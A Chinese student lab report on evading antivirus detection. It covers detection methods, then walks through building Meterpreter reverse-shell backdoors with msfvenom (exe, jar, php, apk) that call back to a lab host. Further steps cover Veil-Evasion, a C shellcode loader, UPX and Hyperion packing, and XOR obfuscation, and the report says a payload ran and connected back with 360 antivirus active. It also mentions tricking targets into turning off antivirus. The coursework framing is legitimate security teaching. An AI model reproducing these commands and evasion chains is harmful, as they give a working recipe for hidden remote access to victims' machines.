一、实验任务

  • 方法

    • 正确使用msf编码器

    • msfvenom生成如jar之类的其他文件

    • veil

    • 加壳工具

    • 使用C + shellcode编程

    • 使用其他课堂未介绍方法

  • 通过组合应用各种技术实现恶意代码免杀。
    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

二、基础知识

恶意代码检测机制

  • 1.基于特征码的检测

    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • 2.启发式恶意软件检测

    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 3.基于行为的恶意软件检测

    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

免杀原理(Evading Anti-Virus)

  • 1.改变特征码

    • 有EXE —— 加壳:压缩壳 加密壳。

    • 有shellcode(像Meterpreter)—— 用encode进行编码 /基于payload重新编译生成可执行文件。

    • 有源代码 —— 用其他语言进行重写再编译(veil-evasion)。

  • 2.改变行为

    • 通讯方式:尽量使用反弹式连接 / 使用隧道技术 / 加密通讯数据

    • 操作模式:基于内存操作 / 减少对系统的修改 / 加入混淆作用的正常功能代码

  • 3.非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    • 使用社工类攻击,诱骗目标关闭AV软件。

    • 纯手工打造一个恶意软件。

三、问题回答(基于上述的基础知识来回答的)

问题1:杀软是如何检测出恶意代码的?

  • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。

  • 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件。

  • 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。

问题2:免杀是做什么?

  • 使恶意代码可以逃过杀软的查杀。同时,免杀也是渗透测试中需要使用到的技术。

问题3:免杀的基本方法有哪些?

  • 改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件。

  • 改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

  • 使用社工类攻击,诱骗目标关闭AV软件。

  • 纯手工打造一个恶意软件。

问题4:开启杀软能绝对防止电脑中恶意代码吗?

  • 不能,杀软在不断进步,恶意代码的技术也同样在不断更迭,我们能做的就是养成良好的上网习惯,并随时更新杀软病毒库,保证杀软的正常工作。

四、实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

msf编码器生成exe

  • 对在实验二中生成的20175213_backdoor.exe 后门程序通过VirusTotalVirSCAN两个网站进行检测。

  • 使用VirusTotal扫描后结果如下,其中72个软件有59个都检测出来了

  • 在使用VirSCAN扫描时,智能选择文件并点击扫描的时候卡在一个窗口无反应,应该是服务器的问题,暂时没有解决。

  • 下面进行一次编码的后门程序:

    • 命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.111.130 LPORT=5213 -f exe > bd1.exe

    • 其中,-e选择编码器;-b是payload中需要清除的字符,为了使\x00'不出现在shellcode中。

    • 生成过程如图:

    • 使用VirusTotal检测如下:

  • 进行十次编码:

    • 使用-i设置迭代次数。

    • 命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.111.130 LPORT=5213 -f exe > bd10.exe

    • 生成过程如图:

    • 使用VirusTotal检测如下:

  • 从上面的结果可见,多次编码对于免杀没有太大的帮助。查看了同学的博客后,知道有两点原因:

    • 1.shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。

    • 2.msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。

使用msf生成其他格式的文件

  • 生成jar文件:

    • 生成命令为:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213java.jar

    • 生成过程如图:

    • 使用VirusTotal检测如下:

  • 生成php文件:

    • 生成命令为:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213php.php

    • 生成过程如图:

    • 使用VirusTotal检测如下(较jar文件效果更好):

  • 生成apk文件:

    • 生成命令为:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213android.apk

    • 生成过程如图:

    • 使用VirusTotal检测如下(效果一般):

使用veil-evasion生成后门程序及检测

  • 在命令行中输入sudo apt-get install veil 安装veil,需要选的第地方输入y

  • 阶段性完成后再次输入veil继续安装,并输入y

  • 在经过漫长的等待和重试后,终于安装好了veil。

  • 安装成功后,在sudo模式下输入veil指令进入。

  • 输入use evasion命令进入veil-evasion。

  • 输入命令use c/meterpreter/rev_tcp.py 进入配置界面。

  • 设置反弹连接IP地址(kali的IP),命令为set LHOST 192.168.111.130;并设置端口,命令为set LPORT 5213

  • 输入命令generate生成文件,接着输入生成的playload的名称veil_c_5213 ,保存路径为:/var/lib/veil/output/source/veil_c_5213.exe

  • 使用VirusTotal检测结果如下

使用shellcode编程

  • 通过命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 -f c生成一段shellcode,截图如下:

  • 在kali中创建一个c文件,命令为vim 20175213.c,将生成的buf [ ] 赋值到下列代码中:
unsigned char buf[] = 
(复制的内容)

int main() 
{ 
    int (*func)() = (int(*)())buf; 
    func(); 
}

  • 通过命令i686-w64-mingw32-g++ 20175213.c -o 20175213.exe 命令,将.c文件转化为可执行文件。

  • 使用VirusTotal检测如下

  • 在windows上执行该程序时,未被杀软查杀(可能是腾讯电脑管家未识别到)

加壳工具

1. 压缩壳工具UPX
  • 使用命令upx 20175213.exe -o 20175213_upxed.exe对上一步中生成的20175213.exe 加压缩壳得到20175213_upxed.exe

  • 使用VirusTotal检测结果:

  • 运行程序后,未被腾讯电脑管家识别.....
2. 加密壳工具Hyperion
  • 通过命令wine hyperion.exe -v 20175213_upxed.exe 20175213_upxed_Hyperion.exe 进行二次加壳。

  • 使用VirusTotal检测结果如下:

  • 在Windows中运行程序也未被腾讯电脑管家识别。

使用其他课程未介绍的方法

  • 对shellcode进行免杀变形:

    • 用msfvenom生成shellcode。

    • 将shellcode中每一位于'0'进行异或。

    • 将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率。

    • 将最终的shellcode生成为一个可执行文件。

  • 使用VirusTotal检测结果:

任务二:通过组合应用各种技术实现恶意代码免杀

  • 组合思路:用msfvenom生成一个raw格式的shellcode,使用ShellcodeWrapper对shellcode进行xor加密,将生成的c++源码编译生成exe

  • 使用360检测截图如下(因为腾讯安全管家不太好使...)

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 1.使用的是娄老师之前的Win7系统,详情看dir后截图。
  • 2.杀软名称:360安全管家
  • 3.版本:12.0.0.2002

五、实验中的问题及解决

问题1:

  • 使用shellcode编程,对文件进行编译时,出现如图的错误:

  • 解决:在查看了同学的博客后,在命令行中输入sudo apt-get install mingw-w64安装所需环境即可。

问题2:

  • 在安装veil时遇到远程挂断等错误,并一直安装中断。

  • 解决:耐心安装,耐心等待,终会成功。

问题3:

  • 在加密壳工具Hyperion方式时,遇到如图问题

六、心得体会

这一次实验又是一次大长跑,分了两次去完成,第二次也从中午弄到晚上。veil的安装也令人抓狂,龟速的安装、各种中断错误...。不过好在还是圆满完成这一次实验,也从中学到了很多有用又好玩的东西,在一次次的查阅中也能不断提高自己。